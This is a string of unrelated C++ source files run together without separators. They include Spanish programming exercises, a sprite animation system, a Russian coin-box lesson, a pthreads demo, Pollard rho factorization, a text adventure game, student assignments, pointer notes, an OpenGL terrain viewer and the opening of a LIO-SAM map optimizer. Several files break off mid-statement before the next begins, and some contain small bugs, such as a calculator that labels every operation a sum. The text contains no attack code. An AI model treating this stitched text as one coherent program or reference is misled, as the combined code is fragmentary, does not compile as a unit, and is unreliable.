#include <iostream>
#include <string>
#include <cmath>
#include <limits>
#include <cctype>
#include <cstdlib>
#include <iomanip>
#include <vector>
#include <algorithm>
#include <numeric>
#include <functional>
#include <map>
#include <set>
#include <stack>
#include <queue>
#include <list>
#include <deque>
#include <bitset>
#include <sstream>
#include <fstream>
#include <ctime>
#include <cassert>

using namespace std;

/*
1. Escriba un programa que, indicado un tipo de dato, devuelve el tamaño de la variable.
Utilice switch y enum
*/

/*
enum TipoDato {
    ENTERO = 1,
    FLOTANTE = 2,
    DOBLE = 3,
    CARACTER = 4,
    BOOLEANO = 5
};

void mostrarMenu() {
    cout << "Seleccione un tipo de dato para conocer su tamaño:\n";
    cout << "1. Entero (int)\n";
    cout << "2. Flotante (float)\n";
    cout << "3. Doble (double)\n";
    cout << "4. Caracter (char)\n";
    cout << "5. Booleano (bool)\n";
}

void mostrarDatos(int opcion) {
    switch (opcion) {
        case ENTERO:
            cout << "El tamaño de un entero (int) es: " << sizeof(int) << " bytes\n";
            break;
        case FLOTANTE:
            cout << "El tamaño de un flotante (float) es: " << sizeof(float) << " bytes\n";
            break;
        case DOBLE:
            cout << "El tamaño de un doble (double) es: " << sizeof(double) << " bytes\n";
            break;
        case CARACTER:
            cout << "El tamaño de un caracter (char) es: " << sizeof(char) << " bytes\n";
            break;
        case BOOLEANO:
            cout << "El tamaño de un booleano (bool) es: " << sizeof(bool) << " bytes\n";
            break;
        default:
            cout << "Opción no válida. Por favor, seleccione un número entre 1 y 5.\n";
            break;
    }
}

int main() {
    int opcion;
    mostrarMenu();
    cout << "Ingrese su opción (1-5): ";
    cin >> opcion;
    mostrarDatos(opcion);
    return 0;
}
*/
// ###################################################################################################################################################

/*
2. Escriba un programa donde se ingresen dos números separados por un espacio, luego
se ingrese una operación entre ellos (+, -, *, / y %) y devuelva el resultado. Para ello
utilice switch y enum.
*/
/*
enum Operacion{
    SUMA = 1,
    RESTA = 2,
    MULTIPLICACION = 3,
    DIVISION = 4,
    MODULO = 5
};

void Cuenta(){
    int num1, num2, operacion;
    cout << "Ingrese dos numeros separados por un espacio: ";
    cin >> num1 >> num2;
    cout << "Seleccione la operacion a realizar:\n";
    cout << "1. Suma (+)\n";
    cout << "2. Resta (-)\n";
    cout << "3. Multiplicacion (*)\n";
    cout << "4. Division (/)\n";
    cout << "5. Modulo (%)\n";
    cout << "Ingrese su opcion (1-5): ";
    cin >> operacion;

    switch (operacion) {
        case SUMA:
            cout << "La suma entre " << num1 << " y " << num2 << " es:" << num1 + num2 << endl;
            break;
        case RESTA:
            cout << "La suma entre " << num1 << " y " << num2 << " es:" << num1 - num2 << endl;
            break;
        case MULTIPLICACION:
            cout << "La suma entre " << num1 << " y " << num2 << " es:" << num1 * num2 << endl;
            break;
        case DIVISION:
            cout << "La suma entre " << num1 << " y " << num2 << " es:" << num1 / num2 << endl;
            break;
        case MODULO:
            cout << "La suma entre " << num1 << " y " << num2 << " es:" << num1 % num2 << endl;
            break;
        default:
            cout << "no elegiste ningun numero.";
            break;
    }
}

int main(){
    Cuenta();
}
*/

// ###################################################################################################################################################

/*
3. Utilizando recursión, verifique que el número ingresado es un número primo. ¿Cómo
podría hacer el algoritmo más eficiente? Implemente su respuesta.
*/
/*
void esPrimo(int num, int divisor){
    if (num < 2) {
        cout << num << " no es un numero primo." << endl;
        return;
    }
    if (divisor > sqrt(num)) {
        cout << num << " es un numero primo." << endl;
        return;
    }
    if (num % divisor == 0) {
        cout << num << " no es un numero primo." << endl;
        return;
    }
    esPrimo(num, divisor + 1);
}
int main(){
    int numero;
    cout << "Ingrese un numero para verificar si es primo: ";
    cin >> numero;
    esPrimo(numero, 2);
    return 0;
}

/*

// ###################################################################################################################################################
/*
4. Escriba un programa que, dado un string, devuelve la cantidad de caracteres e indica
si se trata de un palíndromo.
*/
/*
int esPalindromo(const string &str, int inicio, int fin) {
    if (inicio >= fin) {
        return 1; // Es palíndromo
    }
    if (str[inicio] != str[fin]) {
        return 0; // No es palíndromo
    }
    return esPalindromo(str, inicio


#include "bas/sprite_animation.hpp"
#include <algorithm>

namespace bas {

// Static member definitions
int SpriteAnimationSystem::next_sprite_id = 1;
int SpriteAnimationSystem::next_animation_id = 1;
std::unordered_map<int, std::shared_ptr<Sprite>> SpriteAnimationSystem::sprites;
std::unordered_map<int, std::shared_ptr<Animation>> SpriteAnimationSystem::animations;

void Animation::add_frame(int frame_index, double x, double y, double width, double height, double duration) {
    frames.emplace_back(frame_index, x, y, width, height, duration);
}

void Animation::update(double delta_time) {
    if (!playing || frames.empty()) return;

    current_time += delta_time;

    while (current_time >= frames[current_frame].duration) {
        current_time -= frames[current_frame].duration;
        current_frame++;

        if (current_frame >= static_cast<int>(frames.size())) {
            if (loop) {
                current_frame = 0;
            } else {
                current_frame = static_cast<int>(frames.size()) - 1;
                playing = false;
                break;
            }
        }
    }
}

AnimationFrame Animation::get_current_frame_data() const {
    if (frames.empty()) {
        return AnimationFrame(0, 0, 0, 0, 0, 0);
    }
    return frames[current_frame];
}

// SpriteAnimationSystem implementation
int SpriteAnimationSystem::create_sprite(const std::string& name, int texture_id, double width, double height) {
    int id = next_sprite_id++;
    auto sprite = std::make_shared<Sprite>(id, name, texture_id, width, height);
    sprites[id] = sprite;
    return id;
}

std::shared_ptr<Sprite> SpriteAnimationSystem::get_sprite(int sprite_id) {
    auto it = sprites.find(sprite_id);
    return (it != sprites.end()) ? it->second : nullptr;
}

void SpriteAnimationSystem::destroy_sprite(int sprite_id) {
    sprites.erase(sprite_id);
}

int SpriteAnimationSystem::create_animation(const std::string& name, int sprite_id) {
    int id = next_animation_id++;
    auto animation = std::make_shared<Animation>(id, name, sprite_id);
    animations[id] = animation;
    return id;
}

std::shared_ptr<Animation> SpriteAnimationSystem::get_animation(int animation_id) {
    auto it = animations.find(animation_id);
    return (it != animations.end()) ? it->second : nullptr;
}

void SpriteAnimationSystem::destroy_animation(int animation_id) {
    animations.erase(animation_id);
}

void SpriteAnimationSystem::play_animation(int sprite_id, int animation_id) {
    auto sprite = get_sprite(sprite_id);
    auto animation = get_animation(animation_id);

    if (sprite && animation && animation->get_sprite_id() == sprite_id) {
        sprite->current_animation_id = animation_id;
        animation->play();
    }
}

void SpriteAnimationSystem::stop_animation(int sprite_id) {
    auto sprite = get_sprite(sprite_id);
    if (sprite && sprite->current_animation_id != -1) {
        auto animation = get_animation(sprite->current_animation_id);
        if (animation) {
            animation->stop();
        }
        sprite->current_animation_id = -1;
    }
}

void SpriteAnimationSystem::pause_animation(int sprite_id) {
    auto sprite = get_sprite(sprite_id);
    if (sprite && sprite->current_animation_id != -1) {
        auto animation = get_animation(sprite->current_animation_id);
        if (animation) {
            animation->pause();
        }
    }
}

void SpriteAnimationSystem::resume_animation(int sprite_id) {
    auto sprite = get_sprite(sprite_id);
    if (sprite && sprite->current_animation_id != -1) {
        auto animation = get_animation(sprite->current_animation_id);
        if (animation) {
            animation->resume();
        }
    }
}

void SpriteAnimationSystem::update_all_animations(double delta_time) {
    for (auto& pair : animations) {
        pair.second->update(delta_time);
    }
}

void SpriteAnimationSystem::shutdown() {
    sprites.clear();
    animations.clear();
}

} // namespace bas


/// Цель урока: Понять, как замена контейнера map на unordered_map
/// может значительно ускорить программу без изменения функциональности,
/// и осознать компромиссы между разными структурами данных.

//Подкючаем необходимые библиотеки
#include <iostream>
#include <vector>
#include <assert.h>
#include <algorithm>

using namespace std;

// Класс, моделирующий копилку
class MoneyBox {
public:
    explicit MoneyBox(vector<int64_t> nominals)
        : nominals_(move(nominals))
        , counts_(nominals_.size()) {
    }

    const vector<int>& GetCounts() const {
        return counts_;
    }

	// Метод для добавления монеты в копилку
    void PushCoin(int64_t value) {
        auto pos = GetIndex(value);
        assert(pos <= nominals_.size());
        ++counts_[pos];
    }

	// Метод для вывода содержимого копилки
    void PrintCoins(ostream& out) const {
        for (size_t i = 0; i < counts_.size(); ++i) {
            if (counts_[i] != 0) {
                out << nominals_[i] << ": " << counts_[i] << endl;
            }
        }
    }

private:
	// Метод для получения индекса номинала монеты
    size_t GetIndex(int64_t value) {
        return find(nominals_.begin(), nominals_.end(), value) - nominals_.begin();
    }

private:
    const vector<int64_t> nominals_;
    vector<int> counts_;
};

ostream& operator<<(ostream& out, const MoneyBox& cash) {
    cash.PrintCoins(out);
    return out;
}

int main() {
    MoneyBox cash({ 1, 2, 5, 10, 20, 50, 100, 200 });

    int times;
    cout << "Enter number of coins you have:"s << endl;
    cin >> times;

    cout << "Enter all nominals:"s << endl;
    for (int i = 0; i < times; ++i) {
        int64_t value;
        cin >> value;
        cash.PushCoin(value);
    }

    cout << cash << endl;
}


#include <cstring>
#include <iostream>
#include <pthread.h>
#include <sched.h>
#include <vector>

void* Worker(void* arg)
{
	int id = *static_cast<int*>(arg);
	for (int k = 0; k < 3; ++k)
	{
		std::cout << "Worker " << id << " iteration " << k << "\n";
		sched_yield(); // в духе pthread_yield
	}
	return nullptr; // эквивалент pthread_exit(nullptr)
}

int main()
{
	constexpr int N = 4;
	pthread_attr_t attr;
	pthread_attr_init(&attr);
	pthread_attr_setstacksize(&attr, 1 << 20); // 1 МБ для примера

	std::vector<pthread_t> th(N);
	std::vector<int> ids(N);

	for (int i = 0; i < N; ++i)
	{
		ids[i] = i;
		if (int rc = pthread_create(&th[i], &attr, &Worker, &ids[i]); rc != 0)
		{
			std::cerr << "pthread_create: " << std::strerror(rc) << "\n";
			return 1;
		}
		std::cout << "main: started thread #" << ids[i] << "\n";
	}

	pthread_attr_destroy(&attr);

	for (int i = 0; i < N; ++i)
	{
		if (int rc = pthread_join(th[i], nullptr); rc != 0)
		{
			std::cerr << "pthread_join: " << std::strerror(rc) << "\n";
		}
	}
	std::cout << "main: all threads joined\n";
}


#include "./stdc++.h"
#include <numeric>
#include <cstdlib>
#include <fstream>
using namespace std;

// Multiplication modulo n (avoids overflow)
long long mulmod(long long a, long long b, long long mod) {
    __int128 res = (__int128)a * b % mod;
    return (long long)res;
}

// Fast modular exponentiation
long long modpow(long long base, long long exp, long long mod) {
    long long result = 1;
    while (exp > 0) {
        if (exp & 1) result = mulmod(result, base, mod);
        base = mulmod(base, base, mod);
        exp >>= 1;
    }
    return result;
}

// Miller–Rabin primality test
bool isPrime(long long n) {
    if (n < 2) return false;
    for (long long p : {2,3,5,7,11,13,17,19,23,29,31,37}) {
        if (n % p == 0) return n == p;
    }

    long long d = n-1, s = 0;
    while ((d & 1) == 0) { d >>= 1; s++; }

    auto check = [&](long long a) {
        if (a % n == 0) return true;
        long long x = modpow(a, d, n);
        if (x == 1 || x == n-1) return true;
        for (int i = 1; i < s; i++) {
            x = mulmod(x, x, n);
            if (x == n-1) return true;
        }
        return false;
    };

    for (long long a : {2,325,9375,28178,450775,9780504,1795265022}) {
        if (!check(a)) return false;
    }
    return true;
}

// Pollard's Rho
long long rho(long long n) {
    if (n % 2 == 0) return 2;
    long long x = rand() % (n-2) + 2;
    long long y = x;
    long long c = rand() % (n-1) + 1;
    long long d = 1;
    while (d == 1) {
        x = (mulmod(x, x, n) + c) % n;
        y = (mulmod(y, y, n) + c) % n;
        y = (mulmod(y, y, n) + c) % n;
        d = gcd(abs(x-y), n);
        if (d == n) return rho(n);
    }
    return d;
}

// Recursive factorization
void factorize(long long n, map<long long,int>& factors) {
    if (n == 1) return;
    if (isPrime(n)) {
        factors[n]++;
        return;
    }
    long long d = rho(n);
    factorize(d, factors);
    factorize(n/d, factors);
}

int main() {
    long long n;
    vector<int> base;
    vector<int> exponentsum;
    vector<int> exponentsumout;
    vector<pair<int,int>> recordtime;
    //cout << "Enter value: ";

    //cin >> n;

    //start timer
    auto started = chrono::high_resolution_clock::now();

    //For loop values to add exponent sum values betweeen 10^6 and 2x10^6
    for ( n = 1000000; n < 2000000; n++) {
        auto facstart = chrono::high_resolution_clock::now();

        map<long long,int> factors;
        factorize(n, factors);

        for (auto [p, e] : factors) {
            exponentsum.push_back(e);
        }
        exponentsumout.push_back(accumulate(exponentsum.begin(), exponentsum.end(), 0LL));
        exponentsum.clear();
        auto facend = chrono::high_resolution_clock::now();
        int time = chrono::duration_cast<chrono::nanoseconds>(facend - facstart).count();
        recordtime.push_back({time, n});

    }
    float totalavg = accumulate(exponentsumout.begin(), exponentsumout.end(), 0LL);
    float divisor = 1000000;
    float result = totalavg / divisor;
    cout << "Average value of factorOut between 10^6 and 2 x 10^6:  " << totalavg << "/" << divisor << "=" <<  result << endl;
    auto ended = chrono::high_resolution_clock::now();
    cout << "Process took " << chrono::duration_cast<chrono::milliseconds>(ended - started).count() << " miliseconds" <<endl;
    ofstream out("factortime.csv");
    out << "Nano Seconds,Value_of_n\n";
    for (auto [time, n] : recordtime) {
        out << time << "ns," << n << " n\n";

    }
    out.close();
}

/*cout << "\nExponent Values: ";
    for (int num : exponent1) {
        cout << num << ",";
    }*/


#include <iostream>
#include <cstdlib>
#include <ctime>

using namespace std;

class AdventureGame {

private:
  int playerHealth;
  int playerStrength;
  int playerAgility;
  int playerLevel;

public:
  AdventureGame() {
    playerHealth=100;
    playerStrength=10;
    playerAgility=10;
    playerLevel=1;
   }
    void startGame() {
        cout<< "Welcome to the Fantasy Adventure Game!"<< endl;
    }
    void ExploreLocation(){
        int randomEvent=rand() % 3 + 1;

        switch(randomEvent) {
            case 1:
             EncounterEnemy();
            break;
            case 2:
             FindTreasure();
            break;
            case 3:
             RestandHeal();
            break;
        }
    }

void EncounterEnemy(){
    int enemyStrength=rand()%20+1;
    cout<<"You encounter a fearsome enemy!"<<endl;
    cout<<"Ready for battle!"<<endl;
    if(playerStrength>enemyStrength){
        cout<<"You destroy the enemy and gained point!"<<endl;
        playerLevel++;
    }
    else {
        cout<<"The enemy owerwhelms you."<<endl;
        playerHealth-=(enemyStrength - playerStrength);

    }
}
void FindTreasure(){
    int treasureAmount= rand() % 100 + 1;
    cout<<"You stumbel upon a hidden treasure!"<<endl;
    cout<<"You found"<<treasureAmount<<"gold coins."<<endl;
}
void RestandHeal(){
    int healAmount = rand() % 30 + 10;
    cout<<"You rest and heal your wounds."<<endl;
    playerHealth+=healAmount;

    if(playerHealth>100){
       playerHealth=100;
    }
}
void displayStatus(){
    cout<<"PlayerStatus:"<<endl;
    cout<<"Level:"<<playerLevel<<endl;
    cout<<"Health:"<<playerHealth<<endl;
    cout<<"Strength:"<<playerStrength<<endl;
    cout<<"Agility:"<<playerAgility<<endl;
   }
};
int main(){
    srand(time(nullptr));
    AdventureGame game;
    game.startGame();
    for(int i=0;i<5;i++){
        cout<<"\n Exploring Location"<< i + 1<<endl;
        game.ExploreLocation();
        game.displayStatus();
    }
    return 0;
}


#include<iostream> // gives acess to standard input/output library
#include<vector> //gives access to vector library
using namespace std;

double getAverage(const vector<int>&StudentID){
    //Sum is initialized to zero to ensure no calculating errors occur (starting point)
    double sum = 0;
   //Range Based loop: ID makes a copy of the elements in Student ID
    for (int ID : StudentID){
        //Here the sum says: add the first element to zero then keep adding until the last element
        sum += ID;
    }
    //double Average to have a more accurate number
    double Average;
    //Average is being divided by the size of the StudentID (the elements in the vector)
    Average = sum/StudentID.size();
    //only the Average will output when called
    return Average;

}

int getHighest(const vector<int>& StudentID) {
    //Here I am initializing the largest to the first element in the vector (the element in position 0)
    int largest = StudentID[0];
    //Range Based Loop: here it is making a copy of the elements in the vector StudentID
    for (int ID : StudentID) {
        //if statement in the for loop will go through each element
        // compare them and assign the bigger number to the variable largest
        //it'll keep going until it finds the largest element (no other element is larger)
        if (ID > largest) {
            largest = ID;
        }
    }
    //outputs the largest number only
    return largest;
}

int main(){
    //creating the vector in the main function
    vector <int> StudentID;

    //reserving memory for ten elements in the vector this allocates memory and speeds up the process
    StudentID.reserve(10);
    //Here I am asking the person to input the Student ID's
    cout<< "Enter the Student ID's \n";

    int ID;
    //For Loop
    //The list starts at 0 and stops when you enter the 10th element
    for (int i = 0; i<10; i++){
        //user is able to input their ID's
        cin >> ID;
        //Push back is used to add it to the end of the vector
        StudentID.push_back(ID);
    }

//calling the functions and outputting them for the user to see
    cout << getAverage(StudentID)<<endl;
    cout << getHighest(StudentID)<<endl;
}

/*Short Reflection:
What is Big-O Notation?
Big-O Notation is how fast the code is performing. It measures the constant time complexity, basically how the code will perform if
more things are implemented.  For example, O(1) is the fastest, while O(n) takes more time to go through the instructions set by the programmer
(for loops is O(n) because it goes through a list).

Why is Big-O important for programmers?
Big-O is important to programmers because if the vector/array were to increase or decrease (numbers.erase(number.begin() + x) it would slow the
program down. So it is important to take into account how these changes could affect the speed of the program.
An example of this in real life is cleaning your desk, depending on how messy it is it will affect the amount of time
you clean it.

Why was a vector a better choice than array for this problem?
A vector was a better choice than an array for this problem because if I were to change the size of the vector I could easily
just change it in the main function without affecting the The Average function and the Largest Number function. Or if I want to
add more elements with push_back, I could because vectors are dynamic. They can shrink and increase their size.

*/


#include<iostream> // cin , cout , ...
#include<vector> // vectors
#include<iomanip> // input/output format , boolalpha , ...
#include<cmath> // ceil , floor , ...
#include <algorithm> // beging , end , reverse , ...
#include <climits> // INT_MIN , INT_MAX , ...
#include <cctype> // for digit functions
#include <stack> // PUSH , POP , ...
#include <string> // empty() , ...
using namespace std; // Using the standard namespace

//1_ Structure

//collection of diferent data types.
/*
struct Rectangle{
    int length;
    int width;
};
struct student{
    int number;
    string name;
    char letter;
}s1={1,"khaled",'k'},s2;
int main(){
    struct Rectangle r1={11,20};
    r1.length=10;
    cout<<r1.length<<endl; // 10
    cout<<r1.length*r1.width<<endl; // 200
    cout<<s1.name<<endl; // khaled
    cout<<sizeof(s2)<<endl; // 32 -> char will take 4 bytes in structure not 1 except you print just it then it will take 1
    cout<<sizeof(s1.letter)<<endl; // 1
}
*/

               //__________________________________//

//2_ Pointer and Reference

// Pointer is address variable.
// Pointer is using for accessing :
// 1-Heap
// 2-Recources(external file,keyboard,...)
// 3-Parameter passing
/*
struct Rectangle{
    int length;
    int width;
};
int main(){

    // Pointer to value
    int a = 10;
    int *b = &a;
    cout<<*b<<endl; // 10
    cout<<a<<endl; // 10

    // Pointer to array
    int arr[] = {1,2,3,4,5};
    int size_arr = sizeof(arr)/sizeof(arr[0]);
    int *s;
    s = arr; // Don't write with array s=&arr;
    for(int i =0;i<size_arr;i++){
        cout<<s[i]<<" "; // 1 2 3 4 5
    }cout<<endl;
    cout<<sizeof(*s)<<endl; // 4 -> Pointer's size is 4

    // Pointer to array in heap
    int value = 3;
    int *p;
    p = new int[5]; // In C language it will be -> p = (int*)malloc(5*sizeof(int));

    for(int i = 0;i<5;i++){ // Initialize the elements of the integer array
        p[i]= value;
        value++;
    }
    for(int i = 0;i<5;i++){ // Display the elements of the dynamically allocated integer array
        cout<<p[i]<<" "; // 3 4 5 6 7
    }cout<<endl;
    cout<<*p<<endl; // 3
    cout<<sizeof(*p)<<endl; // 4 -> Pointer's size is 4
    delete [ ] p ; // Delete the array after using it

    // Reference
    int &r = a;
    cout<<r<<endl; // 10

    // Pointer to struct
    Rectangle y = {100,200}; // NO need to write struct in c++
    Rectangle *j = &y;
    cout<<j->length<<endl; // 100

    // Pointer to struct in heap
    Rectangle *u;
    u = new Rectangle;
    u->length = 11; // or (*u).length = 11; ... We have to write pointer in only those two ways
    cout<<u->length<<endl; // 11
    delete u;
}
*/

               //__________________________________//

//3_ Functions
/*
// Add two values
int add(int num1,int num2){
    return num1 + num2;
}

// Call By Value
void callByValue(int num1,int num2){
    int temp;
    temp = num1;
    num1 = num2;
    num2 = temp;
}

// Call By Address
void callByAddress(int *num1,int *num2){
    int temp;
    temp = *num1;
    *num1 = *num2;
    *num2 = temp;
}

// Call By Refference
inline void callByReference(int &num1,int &num2){
    int temp;
    temp = num1;
    num1 = num2;
    num2 = temp;
}

// Function returns array
void arr(int array[],int size){ // array[] <- is always passing by the address not by value

    // for(int x:array){} <- We can't use foreach loop upon a pointer

    array[0] = 15; // It will change in the main function because it's a pointer
}

// Function to check the size of the array
void fun(int *array){ // = int array[]
    cout<<sizeof(array)/sizeof(int)<<endl; // size of pointer -> 4 / 4 = 1
}

// Function returns an array in heap
int *p(int size){
    int *ptr;
    ptr = new int[size];
    for(int i=0;i<size;i++){
        ptr[i] = i + 1;
    }return ptr;
}

// Call a structure
struct Rectangle{
    int length;
    int width;
};

// Passing a structure by value
int normalStruct(struct Rectangle r1){
    return r1.length*r1.width;
}

// Passing a structure by value and it's suppose that the value won't change
int structByValue(struct Rectangle r2){
    r2.length++; // ## But here the length will change because the function return int not void ##
    return r2.length*r2.width;
}

// Passing a structure by address and the value will change
int structByAddress(struct Rectangle *r3){
    r3->length++;
    return r3->length*r3->width;
}

// Creat a structure in Heap
struct Rectangle *structInHeap(){
    struct Rectangle *r4;
    r4 = new Rectangle;
    r4->length = 11;
    r4->width = 22;
    return r4;
}
int main(){
    // Add two values
    int a=1,b=2,result;
    result = add(a,b);
    cout<<result<<endl; // 3

    // Call By Value
    callByValue(a,b);
    cout<< a <<" "<< b <<endl; // 1 2

    // Call By Address
    callByAddress(&a,&b);
    cout<< a <<" "<< b <<endl; // 2 1

    // Call By Refference
    callByReference(a,b);
    cout<< a <<" "<< b <<endl; // 2 1

    // The change in the called function will affect i


#include <iostream>
#include <iomanip>

using namespace std;

const int DISTRICTS = 4;
const int MONTHS = 3;

const int SIZE = 4;

struct part{
    int modelnumber;
    int partnumber;
    float cost;
};

int main()
{
    int d, m;

    double sales[DISTRICTS] [MONTHS] = {{ 1432.07, 234.50, 654.01 },
                                        { 322.00, 13838.32, 17589.88 },
                                        { 9328.34, 934.00, 4492.30 },
                                        { 12838.29, 2332.63, 32.93 } };
    cout << "\n\n";
    cout << " Month\n";
    cout << "                 1         2        3";
    for (d = 0; d < DISTRICTS;  d++)
    {
        cout << "\nDistrict " << d + 1;
        for (m = 0; m < MONTHS; m++){
            cout << setw(10) << setiosflags(ios::fixed)
            << setiosflags(ios::showpoint) << setprecision(2)
            << sales[d][m];
        }
    }

    cout << endl;

    // USING ARRAY OF STRUCTURES
    int n;
    part apartArray[SIZE];

    for (n = 0; n < SIZE; n++){
        cout << "Enter model number " ;
        cin >> apartArray[n].modelnumber;
        cout << "Enter part number " ;
        cin >> apartArray[n].partnumber;
        cout << "cost: " ;
        cin >> apartArray[n].cost;
    }
    cout << endl;

    for (n = 0; n < SIZE; n++){
        cout << "Model: " << apartArray[n].modelnumber << "\n";
        cout << "Part: " << apartArray[n].partnumber << "\n";
        cout << "Cost: " << apartArray[n].cost << "\n";
    }
        return 0;
}
// g++ saleinit.cpp -o saleinit


#include <windows.h>
#include <gl/gl.h>
#include <GL/glu.h>
#include "terrain.h"
#include "renderer.h"

// Global instances
Terrain terrain(400, 400);			// Sets size of our generated Land. Bigger will fill the screen more and so on.
Renderer renderer;

float camX = 0.0f;
float camY = 60.0f;			// Global Camera offsets to be able to maneuver the camera
float camZ = 150.0f;

// Function declarations
LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam);
void EnableOpenGL(HWND hWnd, HDC* hDC, HGLRC* hRC);
void DisableOpenGL(HWND hWnd, HDC hDC, HGLRC hRC);

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int iCmdShow)
{
    WNDCLASS wc = {};
    wc.style = CS_OWNDC;
    wc.lpfnWndProc = WndProc;
    wc.hInstance = hInstance;
    wc.hIcon = LoadIcon(NULL, IDI_APPLICATION);
    wc.hCursor = LoadCursor(NULL, IDC_ARROW);
    wc.hbrBackground = (HBRUSH)GetStockObject(BLACK_BRUSH);
    wc.lpszClassName = "GLSample";
    RegisterClass(&wc);

    HWND hWnd = CreateWindow("GLSample", "Procedural Terrain Generation ~~~ Trevor Belt",
                             WS_OVERLAPPEDWINDOW,
                             CW_USEDEFAULT, CW_USEDEFAULT, 800, 700,
                             NULL, NULL, hInstance, NULL);

    if (!hWnd) return 1;

    ShowWindow(hWnd, iCmdShow);
    UpdateWindow(hWnd);

    HDC hDC;
    HGLRC hRC;
    EnableOpenGL(hWnd, &hDC, &hRC);

    glViewport(0, 0, 800, 700);
    glMatrixMode(GL_PROJECTION);
    glLoadIdentity();
    //gluPerspective(45.0, 800.0 / 700.0, 1.0, 1000.0);
    gluPerspective(60.0, 800.0 / 700.0, 1.0, 1000.0);
    glMatrixMode(GL_MODELVIEW);

    MSG msg;
    BOOL bQuit = FALSE;
    float theta = 0.0f;

    while (!bQuit)
    {
        if (PeekMessage(&msg, NULL, 0, 0, PM_REMOVE))
        {
            if (msg.message == WM_QUIT)
                bQuit = TRUE;
            else
            {
                TranslateMessage(&msg);
                DispatchMessage(&msg);
            }
        }
        else
        {
        	//this centers the terrain around the camera. as you pan with arrow keys, the terrain shifts and regenerates.
        	terrain.terraGenerator(camX - terrain.width / 2, camZ - terrain.height / 2);

        	glClear(GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT);
        	// Sky gradient background
			glDisable(GL_DEPTH_TEST);
			glMatrixMode(GL_PROJECTION);
			glPushMatrix();
			glLoadIdentity();
			glOrtho(-1, 1, -1, 1, -1, 1); // 2D screen space

			glMatrixMode(GL_MODELVIEW);
			glPushMatrix();
			glLoadIdentity();

			glBegin(GL_QUADS);
    			glColor3f(0.5f, 0.7f, 1.0f); // Top sky
    			glVertex2f(-1.0f, 1.0f);
    			glVertex2f(1.0f, 1.0f);
    			glColor3f(0.9f, 0.9f, 1.0f); // Horizon
    			glVertex2f(1.0f, -1.0f);
    			glVertex2f(-1.0f, -1.0f);
			glEnd();

glPopMatrix();
glMatrixMode(GL_PROJECTION);
glPopMatrix();
glMatrixMode(GL_MODELVIEW);
glEnable(GL_DEPTH_TEST);

            glLoadIdentity();

            gluLookAt(camX, camY, camZ, camX, 0.0f, camZ - 100.0f, 0, 1, 0);
            glRotatef(theta, 0.0f, 1.0f, 0.0f);			// Automatically rotates the terrain. Comment out to keep static
            //theta += 0.1f;

            renderer.drawTerrain(terrain);

            SwapBuffers(hDC);
        }
    }

    DisableOpenGL(hWnd, hDC, hRC);
    DestroyWindow(hWnd);

    return 0;
}

// Window procedure
LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)
{
    switch (message)
    {
    case WM_CLOSE:
        PostQuitMessage(0);
        return 0;

    case WM_KEYDOWN:
        switch (wParam)
        {
        case VK_LEFT:  camX -= 5.0f; break;
        case VK_RIGHT: camX += 5.0f; break;
        case VK_UP:    camZ -= 5.0f; break;
        case VK_DOWN:  camZ += 5.0f; break;
        case VK_OEM_PLUS: // '+' key
    		camY -= 5.0f;
    		camZ -= 5.0f;
    		break;

		case VK_OEM_MINUS: // '-' key
    		camY += 5.0f;
    		camZ += 5.0f;
    		break;
        case VK_ESCAPE:
            PostQuitMessage(0);
            return 0;
        }
        return 0;  // ? Ensures WM_KEYDOWN always returns something. Fixed compiler

    default:
        return DefWindowProc(hWnd, message, wParam, lParam);
    }
}

// OpenGL setup
void EnableOpenGL(HWND hWnd, HDC* hDC, HGLRC* hRC)
{
    PIXELFORMATDESCRIPTOR pfd = {};
    pfd.nSize = sizeof(pfd);
    pfd.nVersion = 1;
    pfd.dwFlags = PFD_DRAW_TO_WINDOW | PFD_SUPPORT_OPENGL | PFD_DOUBLEBUFFER;
    pfd.iPixelType = PFD_TYPE_RGBA;
    pfd.cColorBits = 24;
    pfd.cDepthBits = 16;
    pfd.iLayerType = PFD_MAIN_PLANE;

    *hDC = GetDC(hWnd);
    int iFormat = ChoosePixelFormat(*hDC, &pfd);
    SetPixelFormat(*hDC, iFormat, &pfd);

    *hRC = wglCreateContext(*hDC);
    wglMakeCurrent(*hDC, *hRC);
    glEnable(GL_DEPTH_TEST);

    // Fog set


#include "utility.h"
#include "lio_sam/cloud_info.h"

#include <gtsam/geometry/Rot3.h>
#include <gtsam/geometry/Pose3.h>
#include <gtsam/slam/PriorFactor.h>
#include <gtsam/slam/BetweenFactor.h>
#include <gtsam/navigation/GPSFactor.h>
#include <gtsam/navigation/ImuFactor.h>
#include <gtsam/navigation/CombinedImuFactor.h>
#include <gtsam/nonlinear/NonlinearFactorGraph.h>
#include <gtsam/nonlinear/LevenbergMarquardtOptimizer.h>
#include <gtsam/nonlinear/Marginals.h>
#include <gtsam/nonlinear/Values.h>
#include <gtsam/inference/Symbol.h>
#include <iostream>
#include <fstream>
#include <string.h>
#include <gtsam/nonlinear/ISAM2.h>

using namespace gtsam;

using symbol_shorthand::X; // Pose3 (x,y,z,r,p,y)
using symbol_shorthand::V; // Vel   (xdot,ydot,zdot)
using symbol_shorthand::B; // Bias  (ax,ay,az,gx,gy,gz)
using symbol_shorthand::G; // GPS pose

/*
    * A point cloud type that has 6D pose info ([x,y,z,roll,pitch,yaw] intensity is time stamp)
    */
struct PointXYZIRPYT
{
    PCL_ADD_POINT4D
    PCL_ADD_INTENSITY;                  // preferred way of adding a XYZ+padding
    float roll;
    float pitch;
    float yaw;
    double time;
    EIGEN_MAKE_ALIGNED_OPERATOR_NEW   // make sure our new allocators are aligned
} EIGEN_ALIGN16;                    // enforce SSE padding for correct memory alignment

POINT_CLOUD_REGISTER_POINT_STRUCT (PointXYZIRPYT,
                                   (float, x, x) (float, y, y)
                                   (float, z, z) (float, intensity, intensity)
                                   (float, roll, roll) (float, pitch, pitch) (float, yaw, yaw)
                                   (double, time, time))

typedef PointXYZIRPYT  PointTypePose;

class mapOptimization : public ParamServer
{

public:

    // gtsam
    NonlinearFactorGraph gtSAMgraph;
    Values initialEstimate;
    Values optimizedEstimate;
    ISAM2 *isam;
    Values isamCurrentEstimate;
    Eigen::MatrixXd poseCovariance;

    ros::Publisher pubLaserCloudSurround;
    ros::Publisher pubLaserOdometryGlobal;
    ros::Publisher pubLaserOdometryIncremental;
    ros::Publisher pubKeyPoses;
